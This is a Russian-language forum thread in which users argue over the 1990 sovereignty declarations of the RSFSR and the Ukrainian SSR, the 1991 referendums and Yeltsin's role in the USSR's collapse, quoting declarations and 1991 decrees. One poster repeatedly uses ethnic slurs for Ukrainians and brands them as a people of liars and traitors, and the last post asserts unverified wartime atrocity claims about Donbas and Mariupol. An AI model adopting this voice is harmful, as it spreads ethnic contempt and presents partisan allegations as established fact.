Тем не менее, даже я не мог предположить, что найдётся некий умник, который сократит декларацию РСФСР на 2/3. А Вы такой нашлись )))
Смотрим п.5 декларации РСФСР, которого предсказуемо нет на вашем скриншоте (там почему-то только 4 пункта из 15)
Цитата: ЦитатаП. 5. Для обеспечения политических, экономических и правовых гарантий суверенитета РСФСР устанавливается:полнота власти РСФСР при решении всех вопросов государственной и общественной жизни, за исключением тех, которые ею добровольно передаются в ведение Союза ССР;верховенство Конституции РСФСР и Законов РСФСР на всей территории РСФСР; действие актов Союза ССР, вступающих в противоречие с суверенными правами РСФСР, приостанавливается Республикой на своей территории. Разногласия между Республикой и Союзом разрешаются в порядке, устанавливаемом Союзным договором;исключительное право народа на владение, пользование и распоряжение национальным богатством России;полномочное представительство РСФСР в других союзных республиках и зарубежных странах;право Республики участвовать в осуществлении полномочий, переданных ею Союзу ССР.
Цитата: ЦитатаП.6. Российская Советская Федеративная Социалистическая Республика объединяется с другими республиками в Союз на основе Договора. РСФСР признает и уважает суверенные права союзных республик и Союза ССР.
Это и есть тот самый обновлённый Союз, который, якобы, прописывался в хохлодекларации, которая с армией, финсистемой, таможней , и абсолютной, а не подчинённой какому-тот там Союзному договору, как в РСФСР, свободой действий. Хозрасчёт такой хозрасчёт, правда?
Я напомню. Не Вам, любителю изюма, а тем, кто хочет действительно разобраться. РСФСР была единственной республикой СССР, лишённой республиканских атрибутов и прав. Ни своего КГБ, ни своей АН, ни своей компартии, что в условиях однопартийной системы власти имеет вполне очевидные последствия. Противопоставить КП(б)У РСФСР мог в лучшем случае разрозненных представителей обкомов. У каждой республики была своя партийная иерархия и система, кроме РСФСР. Как итог - генсеков исправно поставляла КП(б)У, как самая сильная (Хрущёв, днепропетровский клан Брежнева), а перераспределение финпотоков тяготело к периферии. Всё это итог старой борьбы большевиков с "великодержавным русским шовинизмом" (С), по результатам которой, например, среди прочего, появились украинский и белорусский народы.
И вот когда РСФСР заявляет об обретении ей республиканских прав (которые у всех остальных республик уже были десятки лет! Украина даже в ООН имела своего представителя!) в составе Союза, обиженные потерей контроля ребята из ВС УССР, представленного КП(б)У на четвёртый день выдают под тем же заголовком (не мной сказано: "Украина - обезьяна России") :
Цитата: Цитатап.3. Украинская ССР является самостоятельной в решении любых вопросов своей государственной жизни.
п.5 Украинская ССР осуществляет верховенство на всей своей территории.
п.6 Украинская ССР самостоятельно определяет свой экономический статус и закрепляет его в законах ... Украинская ССР самостоятельно создает кассовый (включая внешнеэкономический банк), ценовую, финансовую, таможенную, налоговую системы, формирует государственный бюджет, а при необходимости вводит свою денежную единицу...Предприятия, учреждения, организации и производственные единицы, расположенные на территории Украинской ССР, вносят плату за использование земли, других природных и трудовых ресурсов, отчисления от валютных поступлений, а также платят налоги в местные бюджеты.
п.6 - это просто мечта апологета хозрасчёта. Опять же, напомню, что за хозрасчёт и местный бюджет (без "отчислений в центр"), а также собственный валютный контроль (в т.ч. право предприятий оставлять валюту, а не продавать её госбанку по курсу) были хрустальной мечтой маленького украинца. Эти лозунги произносились на митингах, вписывались в требования забастовочными комитетами, они обсуждались в обществе. Поэтому никаких разногласий с украинским обществом 1990 года эта декларация не имела. В ней видели валюту, конец "отчислений в ентр" и "кто как потопает, тот так и полопает". Хотели действительной независимости.
Однако, далее
Цитата: Цитатап.9 Украинская ССР имеет право на собственные Вооруженные Силы. Украинская ССР имеет собственные внутренние войска и органы государственной безопасности, подчиненные Верховной Раде Украинской ССР. Украинская ССР определяет порядок прохождения военной службы гражданами Республики. Граждане Украинской ССР проходят действительную военную службу, как правило, на территории Республики и не могут использоваться в военных целях за ее пределами без согласия Верховной Рады Украинской ССР.
Та зараз уявим соби, що цьйого немае! Та цэ ж трохи! Сэбэ! Браття! Жинка плаче, дитки плаче, мени заставили!
Я чего-то не увидел там нигде отсылки к Союзному договору. Покажите цэ, пан!
О Союзном договоре говорит декларация РСФСР, о федеративном и союзном говорят декларации АССР. А хохлодекларация говорит о полной независимости.
Я повторюсь, в пользу того, что украинцы правильно поняли эту декларацию, как сепаратистскую, говорит то, что за неё на якобы "референдуме за СССР" (на самом деле - референдуме по декларации!) проголосовало 80% голосовавших, а за выход из Союза - 90% голосовавших. Т.е. никакого диссонанса нет. Всё определённо и однозначно. Это стремление вполне укладывается в опыт личного общения с украинцами в то время. Топикстартер же утверждает, что это (все перечисленные пункты хохлодекларации об армии, таможне. финсистеме, денежной единице), оказывается, за обновлённый СССР (о котором, правда, ни слова не сказано). Но тогда придётся признать, что народ Украины в полном составе на 180 градусов пересмотрел свою точку зрения за 10 месяцев. и состоит поголовно из шизофреников. Я так не считаю. Украинцы хитренькие, но никак не дебилы. Косить под дурачка, предлагать уявлялки, держать в кармане фигу - это одно. А быть дебилом - совсем другое.
Как итог - референдум о сохранении СССР на Украине не проводился. Де факто вместо него проведён референдум о принятии народом декларации о независимости с однозначными сеператистскими формулировками. Предложенная ВС СССР формулировка были отвергнута (эти формулировка была в РСФСР, но не в УССР). На референдуме в марте 1991 народ Украины поддержал принятую Радой в июне 1990 декларацию о независимости с армией, своей экономикой, таможней и полной политической свободой, не ограниченной никакими союзными договорами. А 1 декабря этот же народ на референдуме примерно в том же объёме (90% и 80%) подержал решение Рады, принятое в августе 1991, о принятии Акта о независимости и окончательного выхода из Союза. Как видите, тут всё однозначно. Решение референдума 1 декабря 1991 (90% за) полностью подтверждает решение референдума марта 1991 (80% за) без всяких оговорок. Отсюда - армия, раздел флота, своя экономика, своя валюта, свои государственные границы. Всё это было в декларации, принятой народом Украины на т.н. "референдуме за СССР", ничего подобного не было в декларации РСФСР (и большинства АССР, кроме Татарстана).
Но Вас же лично это не колышит. Вы, как старый пропагандист, ориентируетесь на лозунги и заголовки
То ли любознательности, то ли совести привести полный текст деклараций рядом у вас не хватило. А, может, это лень с расчётом на дурачков?
|
|
Teiwaz ( Слушатель ) |
| 20 мар 2016 в 03:51 |
Цитата: spv2 от 19.03.2016 23:35:39
Вы правы, нисколько не колышит.
Так как факт остаётся фактом - декларация о суверенитете была принята ВС РСФСР. Тем самым было подтверждено право всех остальных на принятие подобных деклараций.
И правительство РСФСР во главе с Ельциным в ту пору делало всё, чтобы ослабить "союзный центр" и поддержать любых сепаратистов.
Оно было другом и заступником всех националистов и сепаратистов. Оно же их и признало после Путча, без каких-либо оговорок.
Не нравится собственная история? Бывает. Ну, придумайте там чего-нибудь для утешения.
|
|
spv2 ( Слушатель ) |
| 20 мар 2016 в 05:38 |
Цитата: Teiwaz от 20.03.2016 00:51:34
Вы врёте. Декларация о суверенитете РСФСР определяла РСФСР многие из тех прав, которые у других (от Узбекской ССР до Украинской ССР) уже были. И УССР приняла не подобную декларацию, как Вы пытаетесь тут уявить, а прямо противоположную. Какая же она подобная, когда в ней прописаны армия, таможня, финсистема и денежная единица с отсутствием всяких ограничений? Вы собеседников всегда за дурачков держите? Зачем так примитивно врёте? Можете соврать 500 раз - ничего не изменится, документы не исчезнут. И я вас, хохлов, буду в них тыкать, даже если вы будете изображать незнание грамоты. Декларация РСФСР определяла союзный договор. Декларация УССР определяла полную свободу.
Я специально приводил цитаты, но вы их проигнорировали. Об этом я и написал - вы предсказуемы в своей наглости. Один наковырял изюма из украинской декларации, проигнорировав всё её содержание, второй привёл название РСФСРовской, даже не открыв. А зачем? Неудобно же. Ведь из текстов явно следует, что хохлы - лгунишки.
Декларация РСФСР, наоборот, укрепляла союзный центр, давая ему права центра. И, обидевшись на это укрепление, ВС УССР (мриявший о хозрасчёте, прекращении продажи валюты госбанку СССР и отдельном бюджете) помахал ручкой, поддержанные маленькими украинцами.
Ваши хохлоизыски к моей собственной истории никакого отношения не имеют. Моя история одна, а ваши придумки, сказки, выгодные уявлялки и лозунги, не имеющие к истории никакого отношения - это совершенно другое. Не надо манипуляций. Есть документы. И хохлы типа вас принципиально отказываются их читать. Из за страха. Там же явно следует, что они предатели. Як може навукраинець быть плохим? Неможливо! Само насралося.
Сейчас вы будете забалтывать тему, отказываясь обсуждать текст деклараций, правильно?
|
|
Teiwaz ( Слушатель ) |
| 20 мар 2016 в 15:54 |
Цитата: spv2 от 20.03.2016 02:38:09
Я могу обсудить этот "текст", ткнув вас носом во фразы, открыто признающие согласие с разрушением СССР ввиду его якобы "недобровольности" и требуемым "пересмотром" какого- то там "договора". Но в этом нет необходимости.
Так как ельцинское правительство по-факту было активным союзником и базой всех сепаратистских и антирусских сил в республиках, постоянно выступая в их защиту и признавая их право на отделение и вывод контролируемых территорий из СССР, поощряя ради этого нарастающую там антирусскую пропаганду. Увенчав свои усилия беловежским актом о ликвидации СССР.
Не знать этого может только идиот. Которому всё равно ничего никогда не докажешь, да и необходимости в этом нет.
|
|
spv2 ( Слушатель ) |
| 21 мар 2016 в 15:30 |
Цитата: Teiwaz от 20.03.2016 12:54:13
Ничего вы не можете, кроме как кукарекать в з/в, не надо угрожать. Право выхода УССР из Союза прописано в Конституции УССР 1978 года. До Ельцина больше 10 лет.
Только идиот или хохол-пропагандист не знает, что к моменту совещания в Беловежье хохлы дважды реализовали своё конституционное право на выход из Союза - в марте 1991 и 1 декабря 1991 (за неделю до встречи в Беловежье). Вот с этим результатом в кармане пан Кравчук и приехал в Беловежье. И ничего противопоставить решению 90% маленьких украинцев, наяривающих на хозрасчёт, валюту и Европу (п. 10 "...непосредственно участвует в общеевропейском процессе и европейских структурах..." - уже тогда требовали кружевные трусики и др..чилили на ЕС) выйти из Союза Ельцин не мог, потому что они были в правовом поле конституции УССР, которая давала им такие права.
Я повторюсь - декларация РСФСР признавала союзный договор, декларация УССР о нём не упоминала вообще, зато говорила о своей армии, финсистеме, денежной единице, таможне, и полной политической свободе. И всё это в рамках ст.2 и ст. 69 конституции УССР, принятой во время диктата днепропетровского клана, выдвинутого КП(б)У, противопоставить которой в рамках союзного государства РСФСР, не имевший до 1990 собственной компартии, просто ничего не мог. И за свою армию, таможню, финсистему, денежную единицу и полную свободу от всяких там союзных договоров, по которым, хохлов, якобы, обедали (см. картинку внизу) маленькие украинцы дважды проголосовали, первый раз отдав на независимость 80% голосов, а второй раз 90% голосов.
В итоге плохой Ельцинский РСФСР голосовал так:
Цитата: Цитата«Считаете ли Вы необходимым сохранение Союза Советских Социалистических Республик как обновлённой федерации равноправных суверенных республик, в которой будут в полной мере гарантироваться права и свободы человека любой национальности?»
а працювитая мозолистая неможебутиякщобивсравшаяся неельцинская УССР голосовала так
Цитата: Цитата"Согласны ли Вы с тем, что Украина должна быть в составе Союза Советских суверенных государств на основе Декларации о государственном суверенитете Украины?"
Только хохол или идиот может с такими формулировками чего-то вякать на Ельцина в деле развала СССР и выхода из него Украинской ССР. Но у вас ещё есть традиционный украинский шаг: "само насралося". Не пренебрегайте им!
Но я прекрасно понимаю, что лет через 25, когда все всё точно позабудут, оставшиеся мазепы (ваши детки, например) пробьют таки очередной пересмотр истории - любимое занятие хохлов (одни Бандеру выкопали, вторые референдум о выходе переуявили - и везде пропагандисты и на двух хохлов три гетмана с пропагандой). Вы же умеете держать фигу в кармане десятилетиями, правда? Сейчас вот, страдая здесь по СССР, одновременно поёте осанну монархизду Гиркину на антике в з/в. Две фиги в двух карманах, гэть усих, какелус вульгарис. Но виноваты Ельцин, Чубайс и ... ээ... ну придумайте ещё кого-нибудь, вы же опытный пропагандизд.
|
|
Teiwaz ( Слушатель ) |
| 21 мар 2016 в 20:32 |
Да, виноваты Ельцин, Чубайс, Собчак и их команда. Вы можете хоть на говно изойти. А этого не изменишь.
Вместе с прочими московскими реформаторами, как Яковлев.
Именно они поддерживали все антирусские сепаратисткие движения по всем окраинам. И создавали их.
А вы можете лопотать свои глупости, сколько угодно.
Вместе с прочими московскими реформаторами, как Яковлев.
Именно они поддерживали все антирусские сепаратисткие движения по всем окраинам. И создавали их.
А вы можете лопотать свои глупости, сколько угодно.
|
|
Удаленный пользователь |
| 21 мар 2016 в 21:48 |
Твою жеж....|
|
spv2 ( Слушатель ) |
| 21 мар 2016 в 23:20 |
Цитата: Teiwaz от 21.03.2016 17:32:35
А я и это знал. Повторюсь, вы обнаглели настолько, что вообще не рефлексируете и предсказуемы до обыденности. Колесо генотьбы. Сейчас фаза - поиск виновного в перемоге:
Цитата: spv2 от 20.03.2016 02:38:09
Украинская ССР, имеющая конституционное право выхода, дважды в течение года на всенародных референдумах, подтверждающих решения ВС УССР, заявляет 80% и 90% голосов о том, что хочет покинуть Союз, отвергнув Союзный договор, объявив свою армию, таможню, финсистему, денежную единицу и участие в европейских структурах. Но виноваты Ельцин и Собчак.
Только у Ельцина и Собчака референдум был о сохранении Союза, а у неможебутиякщобивсравшихся неуиноуатыхукраинцевуапще референдум был о выходе из Союза. Прямо фольклорное "а нас за що".
А в нынешних какашках поо шароварам виноват Путiн, цэ каждый хохол скажет. Одни обвинят в том, что слил "Новороссию" (наяриваете же на антике, да?), вторые в том, что ввёл войска. Якщоби хохол признал свои ошибки? Не бывать этому никогда. Уявит-переуявит. "Хто всрався? Нивiстка!"
Чому? Тому що хотела сгубити |
|
Teiwaz ( Слушатель ) |
| 22 мар 2016 в 00:54 |
Цитата: spv2 от 21.03.2016 20:20:54
Ты сам сперва научись признавать свои ошибки и дурость. Лучшие друзья прибалтийских народофронтовцев, лидеры московской и питерской демшизы - Ельцин и Собчак были за сохранение союза.
После этого какое-то лопотание в адрес хохлов. Ополоумившая публика. Да никакой разницы между вами нет. Что ельцинсты, что свидомиты, это даже не близнецы, это одно и тоже.
|
|
TermonuclearChuche ( Слушатель ) |
| 23 мар 2016 в 18:30 |
Цитата: Цитата...Украинцы большие мастера переписывать историю...Но сыпятся они на конкретике и документалистике. Вот зачем Вы здесь многократно и нагло соврали ... Зачем Вы соврали первый раз да ещё дважды?... Итак, враньё с порога...Цитата"Вопрос предложенный на референдуме звучал так: "Считаете ли Вы необходимым сохранение Союза Советских Социалистических Республик как обновленной федерации равноправных суверенных республик, в которой будут в полной мере гарантироваться права и свободы человека любой национальности "
Но на Украине текст выглядел так:
"«Согласны ли Вы с тем, что Украина должна быть в составе Союза Советских суверенных государств на основе Декларации о государственном суверенитете Украины? „Да“ или „Нет“»"
Оп!
Президиум Верховного Совета Украинской ССР поддержал проведение всесоюзного референдума. Дополнительно в бюллетень был включён второй вопрос: «Согласны ли Вы с тем, что Украина должна быть в составе Союза Советских суверенных государств на основе Декларации о государственном суверенитете Украины? „Да“ или „Нет“»
{ Википедия , статья "Всесоюзный референдум о сохранении СССР"}
|
|
TermonuclearChuche ( Слушатель ) |
| 23 мар 2016 в 20:56 |
УКАЗ
Президента Российской Советской Федеративной
Социалистической Республики
Об обеспечении экономической основы суверенитета РСФСР
В интересах многонационального народа Российской Федерации, руководствуясь решениями Съездов народных депутатов РСФСР, Верховного Совета РСФСР и законами РСФСР по обеспечению экономической основы суверенитета Республики, постановляю:
1. Совету Министров РСФСР:
до 1 января 1992 г. обеспечить передачу и принятие в ведение органов государственного управления РСФСР и республик в составе РСФСР предприятий и организаций союзного подчинения, находящихся на территории Российской Федерации, за исключением тех, управление которыми передано согласно законодательству РСФСР соответствующим органам СССР. Указанные предприятия и организации обязаны обеспечить безусловное выполнение в 1991 году государственных заказов и договорных обязательств;
до 1 января 1992 г. разработать и представить Президенту РСФСР предложения по расширению масштабов использования мощностей предприятий оборонных отраслей промышленности, расположенных на территории РСФСР, в интересах повышения жизненного уровня народа;
до 1 января 1993 г. осуществить необходимые мероприятия по разработке и внедрению единых систем экономико-статистических показателей субъектов и кодирования товаров, отвечающих принятым в международной практике правилам.
2. Предприятия и организации, расположенные либо осуществляющие деятельность на территории РСФСР (в том числе союзного подчинения), руководствуются законодательством РСФСР и применяют законы и иные акты органов Союза ССР в порядке, установленном Законом РСФСР «О действии актов органов Союза ССР на территории РСФСР»
.
3. Совету Министров РСФСР совместно с Центральным банком РСФСР представить до 1 октября 1991 г. Президенту РСФСР предложения по: формированию золотого запаса, алмазного и валютного фондов РСФСР;
определению доли РСФСР, подлежащей направлению на погашение внешнего долга СССР, а также доли, подлежащей получению при разделении долгов зарубежных стран Союзу ССР;
налогообложению валютных доходов предприятий, организаций и граждан;
совершенствованию кредитно-расчетного механизма и оздоровлению финансов, предусмотрев возможность совместных действий с другими союзными республиками.
4. Совету Министров РСФСР подготовить предложение о приостановлении на территории РСФСР действия Указа Президента СССР от 2 ноября 1990 г. «Об особом порядке использования валютных ресурсов в 1991 году».
5. Установить, что на территории РСФСР (включая континентальный шельф) разведка и добыча полезных ископаемых, промысловый лов рыбы, добыча водных животных и растений осуществляются только на основании специального разрешения (лицензии). Предприятия, организации и граждане, занимающиеся этими видами деятельности, обязаны до 1 июля 1992 г. получить соответствующие лицензии.
Совету Министров РСФСР представить до 1 января 1992 г. предложения о порядке лицензирования указанных видов деятельности, а также о привлечении иностранных инвестиций и предоставлении концессий иностранным юридическим лицам для разведки и добычи полезных ископаемых на территории республики (включая континентальный шельф).
6. Совету Министров РСФСР:
до 1 октября 1991 г. обеспечить создание системы союзнореспубликанских таможенных органов РСФСР;
согласовать с Кабинетом Министров СССР порядок совместного установления ставок таможенных пошлин по экспортно-импортным операциям, осуществляемым с территории РСФСР.
Решения союзных органов, касающиеся порядка ввоза (вывоза) товаров, а также установления размеров таможенных пошлин, принятые без согласования с полномочными органами РСФСР, на территории РСФСР не действуют.
7. Совету Министров РСФСР, исполнительным органам власти республик в составе РСФСР до 1 января 1992 г. обеспечить проведение регистрации всех хозяйствующих субъектов, передаваемых в ведение органов государственного управления РСФСР и республик в составе РСФСР в соответствии с настоящим Указом.
8. Главной государственной налоговой инспекции при Министерстве финансов РСФСР подготовить и внести до 1 ноября 1991 г. предложения о порядке ведения налоговыми органами учета предпринимательской деятельности и выдачи свидетельств (лицензий) на право ее осуществления.
9. Совету Министров РСФСР осуществлять в ходе реализации настоящего Указа взаимодействие с союзными республиками и республиками в составе РСФСР по вопросам, затрагивающим их интересы.
10. Для обеспечения контроля за соблюдением экономических интересов РСФСР создать при Президенте РСФСР Комитет по защите экономических интересов РСФСР.
11. Контроль за исполнением настоящего Указа возложить на Совет Министров РСФСР и Комитет по защите экономических интересов РСФСР. Совету Министров РСФСР регулярно информировать Президента РСФСР о ходе выполнения настоящего Указа.
12. Настоящий Указ вступает в силу с момента его опубликования.
| | Президент РСФСР |
| | Б. Ельцин |
Москва, Кремль
20 августа 1991 года
|
|
TermonuclearChuche ( Слушатель ) |
| 23 мар 2016 в 22:19 |
Р А С П О Р Я Ж Е Н И Е
ПРЕЗИДЕНТА РОССИЙСКОЙ СОВЕТСКОЙ ФЕДЕРАТИВНОЙ
СОЦИАЛИСТИЧЕСКОЙ РЕСПУБЛИКИ
Об упорядочении деятельности финансовых органов
и банков на территории РСФСР
(В редакции Распоряжения Президента РСФСР от 28.08.91 г. N 31-рп)
1. Установить, что финансово-валютные операции и операции с
драгоценными металлами и камнями, проводимые Минфином СССР,
Госбанком СССР и Внешэкономбанком СССР, осуществляются с 25 августа
1991 г. исключительно с согласия Минфина РСФСР, Центрального банка
РСФСР и Внешторгбанка РСФСР.
2. Минфину РСФСР, Центральному банку РСФСР и Внешторгбанку
РСФСР до 15 сентября 1991 г. принять в свое ведение, по состоянию
на 1 августа 1991 г., материально-техническую базу Минфина СССР,
Госбанка СССР и Внешэкономбанка СССР, а также сеть организаций и
предприятий, находящихся в их ведении и расположенных на территории
Российской Федерации.
МВД РСФСР обеспечить контроль за сохранностью драгоценных
металлов и камней, находящихся на хранении в указанных организациях
и учреждениях.
(Действие пункта приостановлено впредь до подписания нового
Союзного договора - распоряжение Президента РСФСР
от 28.08.91 г. N 31-рп)
3. Минфину РСФСР совместно с Центральным банком РСФСР,
Внешторгбанком РСФСР, министерствами, ведомствами и организациями в
месячный срок представить предложения о порядке взаимоотношений
бюджетов РСФСР с союзным бюджетом и бюджетами союзных республик,
без ущерба для этих бюджетов и взаимных обязательств.
Президент РСФСР Б. ЕЛЬЦИН
25 августа 1991 года
N 27-рп
ПРЕЗИДЕНТА РОССИЙСКОЙ СОВЕТСКОЙ ФЕДЕРАТИВНОЙ
СОЦИАЛИСТИЧЕСКОЙ РЕСПУБЛИКИ
Об упорядочении деятельности финансовых органов
и банков на территории РСФСР
(В редакции Распоряжения Президента РСФСР от 28.08.91 г. N 31-рп)
1. Установить, что финансово-валютные операции и операции с
драгоценными металлами и камнями, проводимые Минфином СССР,
Госбанком СССР и Внешэкономбанком СССР, осуществляются с 25 августа
1991 г. исключительно с согласия Минфина РСФСР, Центрального банка
РСФСР и Внешторгбанка РСФСР.
2. Минфину РСФСР, Центральному банку РСФСР и Внешторгбанку
РСФСР до 15 сентября 1991 г. принять в свое ведение, по состоянию
на 1 августа 1991 г., материально-техническую базу Минфина СССР,
Госбанка СССР и Внешэкономбанка СССР, а также сеть организаций и
предприятий, находящихся в их ведении и расположенных на территории
Российской Федерации.
МВД РСФСР обеспечить контроль за сохранностью драгоценных
металлов и камней, находящихся на хранении в указанных организациях
и учреждениях.
(Действие пункта приостановлено впредь до подписания нового
Союзного договора - распоряжение Президента РСФСР
от 28.08.91 г. N 31-рп)
3. Минфину РСФСР совместно с Центральным банком РСФСР,
Внешторгбанком РСФСР, министерствами, ведомствами и организациями в
месячный срок представить предложения о порядке взаимоотношений
бюджетов РСФСР с союзным бюджетом и бюджетами союзных республик,
без ущерба для этих бюджетов и взаимных обязательств.
Президент РСФСР Б. ЕЛЬЦИН
25 августа 1991 года
N 27-рп
|
|
TermonuclearChuche ( Слушатель ) |
| 23 мар 2016 в 22:32 |
П О С Т А Н О В Л Е Н И Е
ВЕРХОВНОГО СОВЕТА РСФСР
Об официальном признании и использовании
Национального флага РСФСР
Верховный Совета РСФСР п о с т а н о в л я е т:
До установления специальным законом новой государственной
символики Российской Федерации считать исторический флаг России -
полотнище из равновеликих горизонтальный белой, лазоревой, алой
полос - официальным Национальным флагом Российской Федерации.
Первый заместитель Председателя
Верховного Совета РСФСР Р. И. ХАСБУЛАТОВ
Москва, Дом Советов РСФСР
22 августа 1991 года
N 1627/1-I
ВЕРХОВНОГО СОВЕТА РСФСР
Об официальном признании и использовании
Национального флага РСФСР
Верховный Совета РСФСР п о с т а н о в л я е т:
До установления специальным законом новой государственной
символики Российской Федерации считать исторический флаг России -
полотнище из равновеликих горизонтальный белой, лазоревой, алой
полос - официальным Национальным флагом Российской Федерации.
Первый заместитель Председателя
Верховного Совета РСФСР Р. И. ХАСБУЛАТОВ
Москва, Дом Советов РСФСР
22 августа 1991 года
N 1627/1-I
|
|
TermonuclearChuche ( Слушатель ) |
| 23 мар 2016 в 22:34 |
А вы все декларации да декларации... Никаких помпезных актов и деклараций. Только Указы, только Постановления.
|
|
TermonuclearChuche ( Слушатель ) |
| 24 мар 2016 в 00:39 |
Рано утром 23 августа Ельцин приехал в Кремль к Горбачеву. Ельцин потребовал от Президента СССР производить любые кадровые изменения только по согласованию с российским президентом.Под давлением Ельцина Горбачев отменил свои назначения.
В 13:00 В Белом доме на сессии Верховного Совета РСФСР Ельцин в присутствии Горбачева и вопреки его возражениям подписывает указ о приостановлении деятельности КП РСФСР на том основании, что она поддержала ГКЧП
24 августа, в связи с участием членов Кабинета Министров СССР в деятельности ГКЧП, Совет Министров РСФСР предложил президенту СССР М. С. Горбачеву расформировать союзное правительство и объявил, что возлагает на себя руководство министерствами и ведомствами СССР, подведомственными им объединениями, предприятиями и организациями, расположенными на территории РСФСР. Должностным лицам министерств и ведомств СССР было указано руководствоваться в своей деятельности решениями Совета Министров РСФСР и указаниями уполномоченных членов Правительства РСФСР
25 августа 1991 года Ельцин издает указ, на основании которого все принадлежащее КПСС и КП РСФСР недвижимое и движимое имущество, включая денежные и валютные счета, становились государственной собственностью России
6 ноября 1991 указом Президента РСФСР Б. Ельцина деятельность КПСС и Коммунистической партии РСФСР на территории РСФСР была прекращена
извиняюсь за кривой формат текста в сообщении. Вот так стал криво и не получалось изменить.
В 13:00 В Белом доме на сессии Верховного Совета РСФСР Ельцин в присутствии Горбачева и вопреки его возражениям подписывает указ о приостановлении деятельности КП РСФСР на том основании, что она поддержала ГКЧП
24 августа, в связи с участием членов Кабинета Министров СССР в деятельности ГКЧП, Совет Министров РСФСР предложил президенту СССР М. С. Горбачеву расформировать союзное правительство и объявил, что возлагает на себя руководство министерствами и ведомствами СССР, подведомственными им объединениями, предприятиями и организациями, расположенными на территории РСФСР. Должностным лицам министерств и ведомств СССР было указано руководствоваться в своей деятельности решениями Совета Министров РСФСР и указаниями уполномоченных членов Правительства РСФСР
25 августа 1991 года Ельцин издает указ, на основании которого все принадлежащее КПСС и КП РСФСР недвижимое и движимое имущество, включая денежные и валютные счета, становились государственной собственностью России
6 ноября 1991 указом Президента РСФСР Б. Ельцина деятельность КПСС и Коммунистической партии РСФСР на территории РСФСР была прекращена
извиняюсь за кривой формат текста в сообщении. Вот так стал криво и не получалось изменить.
|
|
TermonuclearChuche ( Слушатель ) |
| 24 мар 2016 в 00:54 |
Первые выборы президента РСФСР (которая на тот момент еще была республикой в составе СССР) состоялись 12 июня 1991 года. Они были проведены в соответствии с итогами всероссийского референдума о введении поста президента РСФСР, состоявшегося 17 марта 1991 года (одновременно с всесоюзным референдумом о сохранении СССР).
|
|
alik-shade ( Слушатель ) |
| 24 мар 2016 в 14:31 |
Понятное дело, что важнейшей причиной развала СССР послужило предательство элиты и стремление урвать себе кусок общесоюзной собственности.
|
|
Teiwaz ( Слушатель ) |
| 25 мар 2016 в 14:03 |
А важнейшей задачей современного этапа для этой элиты является отмазаться от ответственности за содеянное и переложить результаты своего предательства на своих подельников по ту сторону фиктивного "конфликта" для укрепления внутреннего положения.
Поэтому для хохляцкой элиты кругом виноваты москали, но только не она. А для их "оппонентов" во всём виноваты "хохлы", но только не сами.
А история однозначно показывает, что виновата некая группа лиц, извлёкшая из этого общую выгоду.
|
|
XXX911 ( Слушатель ) |
| 10 фев 2017 в 00:06 |
Да-а-а-а-а.... Упоротые давят на свое... Открываем текст Декларации за которую голосовала тогда вся Украина: Раздел Х. *** второй абзац:
Декларація є основою для нової Конституції, законів України і
визначає позиції Республіки при укладанні міжнародних угод.
Принципи Декларації про суверенітет України використовуються для
укладання союзного договору.
Теперь о Акте провозглашения независимости... даже переведу на русский...
Исходя из смертельной опасности, которая нависла над Украиной в связи с государственным переворотом в СССР 19 августа 1991г.
-продолжая тысячелетнюю традицию государственного строительства на Украине,
- исходя из права на самоопределение, предусмотренного Уставом ООН и другими международно-правовыми документами...
Этого достаточно... Теперь читаем этот текст о "провозглашении независимости" и применяем все это по отношению к Донбассу.
Гос.переворот на Украине был? - БЫЛ!
Смертельная опасность есть? - ЕСТЬ!
Право на самоопределение, устав ООН и другие международно-правовые документы кто-то отменял? - НЕТ!
Референдум на Донбассе провели? - ДА!
Какого вы приперлись на Донбасс???
Уже промолчу о том, что по вашей же конституции против мирного населения вообще запрещено использовать армию! Если бы вы были не упоротые, а как в ЕС, которые вывесили к примеру Шотландский флаг рядом с государственным лишь бы Шотландия не отделялась, а не танки пригоняли, а пришли бы и сказали, ребята, Янек всем надоел (а это так и у нас было) давайте вместе подумаем как нам дальше жить, хотим учесть интересы всех... вот и войны бы небыло и Крым не ушел бы! А так изучите видео, когда люди в Мариуполе вышли на праздник 9 мая, даже палок в руках небыло, а их начали с танков расстреливать, тоже было в Красноармейске и Славянске. А когда в Мариуполе милиция вмешалась, попытались прекратить расстрелы гражданского населения, то упоротые из танков расстреляли горуправление МВД. Те, кто выжил сразу ушли в ополчение, которое было создано в этот же день!!! Я бы рекомендовал изучить видео, приехать в Донбасс и посмотреть все своими глазами...
Декларація є основою для нової Конституції, законів України і
визначає позиції Республіки при укладанні міжнародних угод.
Принципи Декларації про суверенітет України використовуються для
укладання союзного договору.
Теперь о Акте провозглашения независимости... даже переведу на русский...
Исходя из смертельной опасности, которая нависла над Украиной в связи с государственным переворотом в СССР 19 августа 1991г.
-продолжая тысячелетнюю традицию государственного строительства на Украине,
- исходя из права на самоопределение, предусмотренного Уставом ООН и другими международно-правовыми документами...
Этого достаточно... Теперь читаем этот текст о "провозглашении независимости" и применяем все это по отношению к Донбассу.
Гос.переворот на Украине был? - БЫЛ!
Смертельная опасность есть? - ЕСТЬ!
Право на самоопределение, устав ООН и другие международно-правовые документы кто-то отменял? - НЕТ!
Референдум на Донбассе провели? - ДА!
Какого вы приперлись на Донбасс???
Уже промолчу о том, что по вашей же конституции против мирного населения вообще запрещено использовать армию! Если бы вы были не упоротые, а как в ЕС, которые вывесили к примеру Шотландский флаг рядом с государственным лишь бы Шотландия не отделялась, а не танки пригоняли, а пришли бы и сказали, ребята, Янек всем надоел (а это так и у нас было) давайте вместе подумаем как нам дальше жить, хотим учесть интересы всех... вот и войны бы небыло и Крым не ушел бы! А так изучите видео, когда люди в Мариуполе вышли на праздник 9 мая, даже палок в руках небыло, а их начали с танков расстреливать, тоже было в Красноармейске и Славянске. А когда в Мариуполе милиция вмешалась, попытались прекратить расстрелы гражданского населения, то упоротые из танков расстреляли горуправление МВД. Те, кто выжил сразу ушли в ополчение, которое было создано в этот же день!!! Я бы рекомендовал изучить видео, приехать в Донбасс и посмотреть все своими глазами...